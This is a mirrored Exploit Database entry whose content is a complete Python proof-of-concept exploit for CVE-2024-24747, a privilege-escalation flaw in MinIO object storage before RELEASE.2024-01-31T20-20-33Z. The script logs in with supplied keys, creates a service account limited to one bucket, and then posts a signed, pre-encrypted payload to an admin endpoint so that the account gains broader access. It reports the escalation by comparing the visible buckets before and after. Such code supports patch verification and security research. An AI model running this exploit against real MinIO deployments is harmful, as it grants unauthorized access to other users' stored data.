MinIO < 2024-01-31T20-20-33Z - Privilege Escalation

• Exploit Database
• 141 阅读

• 作者： Jenson Zhao
  日期： 2024-04-12
• 类别：

  • remote
  平台：

  • go
• 来源：https://www.exploit-db.com/exploits/51976/
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  # Exploit Title: MinIO < 2024-01-31T20-20-33Z -Privilege Escalation # Date: 2024-04-11 # Exploit Author: Jenson Zhao # Vendor Homepage: https://min.io/ # Software Link: https://github.com/minio/minio/ # Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z # Tested on: Windows 10 # CVE : CVE-2024-24747 # Required before execution: pip install minio,requests   import argparse import datetime import traceback import urllib from xml.dom.minidom import parseString import requests import json import base64 from minio.credentials import Credentials from minio.signer import sign_v4_s3   class CVE_2024_24747: new_buckets = [] old_buckets = [] def __init__(self, host, port, console_port, accesskey, secretkey, verify=False): self.bucket_names = [&apos;pocpublic&apos;, &apos;pocprivate&apos;] self.new_accesskey = &apos;miniocvepoc&apos; self.new_secretkey = &apos;MINIOcvePOC&apos; self.headers = { &apos;User-Agent&apos;: &apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36&apos;, &apos;Content-Type&apos;: &apos;application/json&apos;, &apos;Accept&apos;: &apos;*/*&apos; } self.accesskey = accesskey self.secretkey = secretkey self.verify = verify if verify: self.url = "https://" + host + ":" + port self.console_url = "https://" + host + ":" + console_port else: self.url = "http://" + host + ":" + port self.console_url = "http://" + host + ":" + console_port self.credits = Credentials( access_key=self.new_accesskey, secret_key=self.new_secretkey ) self.login() try: self.create_buckets() self.create_accesskey() self.old_buckets = self.console_ls() self.console_exp() self.new_buckets = self.console_ls()   except: traceback.print_stack() finally: self.delete_accesskey() self.delete_buckets() if len(self.new_buckets) > len(self.old_buckets): print("There is CVE-2024-24747 problem with the minio!") print("Before the exploit, the buckets are : " + str(self.old_buckets)) print("After the exploit, the buckets are : " + str(self.new_buckets)) else: print("There is no CVE-2024-24747 problem with the minio!")   def login(self): url = self.url + "/api/v1/login" payload = json.dumps({ "accessKey": self.accesskey, "secretKey": self.secretkey }) self.session = requests.session() if self.verify: self.session.verify = False status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code # print(status_code) if status_code == 204: status_code = 0 else: print(&apos;Login failed! Please check if the input accesskey and secretkey are correct!&apos;) exit(1) def create_buckets(self): url = self.url + "/api/v1/buckets" for name in self.bucket_names: payload = json.dumps({ "name": name, "versioning": False, "locking": False }) status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code # print(status_code) if status_code == 200: status_code = 0 else: print("新建 (New)"+name+" bucket 失败 (fail)！") def delete_buckets(self): for name in self.bucket_names: url = self.url + "/api/v1/buckets/" + name status_code = self.session.request("DELETE", url, headers=self.headers).status_code # print(status_code) if status_code == 204: status_code = 0 else: print("删除 (delete)"+name+" bucket 失败 (fail)！") def create_accesskey(self): url = self.url + "/api/v1/service-account-credentials" payload = json.dumps({ "policy": "{\n\"Version\":\"2012-10-17\",\n\"Statement\":[\n{\n\"Effect\":\"Allow\",\n\"Action\":[\n\"s3:*\"\n],\n\"Resource\":[\n\"arn:aws:s3:::pocpublic\",\n\"arn:aws:s3:::pocpublic/*\"\n]\n}\n]\n}", "accessKey": self.new_accesskey, "secretKey": self.new_secretkey }) status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code # print(status_code) if status_code == 201: # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)！") # print(self.new_secretkey) status_code = 0 else: print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)！") def delete_accesskey(self): url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode(&apos;utf-8&apos;) status_code = self.session.request("DELETE", url, headers=self.headers).status_code # print(status_code) if status_code == 204: # print("删除" + self.new_accesskey + " accessKey成功！") status_code = 0 else: print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)！") def headers_gen(self,url,sha256,method): datetimes = datetime.datetime.utcnow() datetime_str = datetimes.strftime(&apos;%Y%m%dT%H%M%SZ&apos;) urls = urllib.parse.urlparse(url) headers = { &apos;X-Amz-Content-Sha256&apos;: sha256, &apos;X-Amz-Date&apos;: datetime_str, &apos;Host&apos;: urls.netloc, } headers = sign_v4_s3( method=method, url=urls, region=&apos;us-east-1&apos;, headers=headers, credentials=self.credits, content_sha256=sha256, date=datetimes, ) return headers def console_ls(self): url = self.console_url + "/" sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" headers = self.headers_gen(url,sha256,&apos;GET&apos;) if self.verify: response = requests.get(url,headers=headers,verify=False) else: response = requests.get(url, headers=headers) DOMTree = parseString(response.text) collection = DOMTree.documentElement buckets = collection.getElementsByTagName("Bucket") bucket_names = [] for bucket in buckets: bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data) # print(&apos;当前可查看的bucket有:\n&apos; + str(bucket_names)) return bucket_names   def console_exp(self): url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95" headers = self.headers_gen(url, sha256, &apos;POST&apos;) hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336" content = bytes.fromhex(hex_string) if self.verify: response = requests.post(url,headers=headers,data=content,verify=False) else: response = requests.post(url,headers=headers,data=content) status_code = response.status_code if status_code == 204: # print("提升" + self.new_accesskey + " 权限成功！") status_code = 0 else: print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)！")   if __name__ == &apos;__main__&apos;: logo = """ _______ ____ __ ____ ______________ ___ __ _____|___ \/ _ \ |___ \ | || | |___ \ | || ||___|| || ||___| / __|\ \ / / / _ \ _____ __) || | | |__) || || |______ __) || || |_/ / | || |_/ / | (__\ V / |__/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _|/ /|__ _|/ / \___|\_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/|_| /_/ """ print(logo) parser = argparse.ArgumentParser() parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1") parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin") parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin") parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000") parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090") parser.add_argument("--https", action=&apos;store_true&apos;, help="Is MinIO accessed through HTTPS.") args = parser.parse_args() CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)